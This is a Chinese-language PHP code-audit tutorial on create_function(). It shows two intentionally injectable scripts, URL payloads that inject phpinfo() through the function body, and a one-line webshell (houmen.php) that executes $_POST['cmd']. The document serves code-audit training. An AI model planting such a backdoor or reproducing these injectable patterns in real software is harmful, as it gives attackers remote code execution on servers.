PHP代碼審計之create_function()函數


0x00 create_function()簡介

適用范圍:PHP 4> = 4.0.1PHP 5PHP 7

功能:根據傳遞的參數創建匿名函數,並為其返回唯一名稱。

語法:

1 create_function(string $args,string $code)
2 string $args 聲明的函數變量部分
3 
4 string $code 執行的方法代碼部分

0x01 函數功能分析

案例:

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

保存為create.php

 

 

 分析:

create_function()會創建一個匿名函數(lambda樣式)。此處創建了一個叫lambda_1的函數,在第一個echo中顯示出名字,並在第二個echo語句中執行了此函數。

create_function()函數會在內部執行 eval(),我們發現是執行了后面的return語句,屬於create_function()中的第二個參數string $code位置。

因此,上述匿名函數的創建與執行過程等價於:

<?php
function lambda_1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

create_function()函數在代碼審計中,主要用來查找項目中的代碼注入和回調后門的情況,熟悉了執行流程,我們可以熟練的實現對代碼注入的payload構造,從而進行漏洞挖掘和找出存在的缺陷。

 

0x02 實現代碼注入的案例

案例1:

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload的構造:

http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

 

 

 

 

還原實際的組合過程:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函數實際的執行:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
}

回車換行整理一下:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

 

案例2:

<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);
?>

payload的構造:

http://localhost/test2.php?c=1));}phpinfo();/*

 

 

 還原實際的組合過程:

$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函數實際的執行:

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
 }

回車換行整理一下:

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));
    }
    phpinfo();
    /*));
 }

 

0x03 打造后門

houmen.php

<?php $func =create_function('',$_POST['cmd']);$func();?>

create_function()是可以利用當后門的函數,實際上它是通過執行eval實現(此處相當於一句話木馬),訪問如下:

 

 0x04 create_function()被高版本 PHP 廢棄

PHP 7.2.0開始,create_function()被廢棄


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM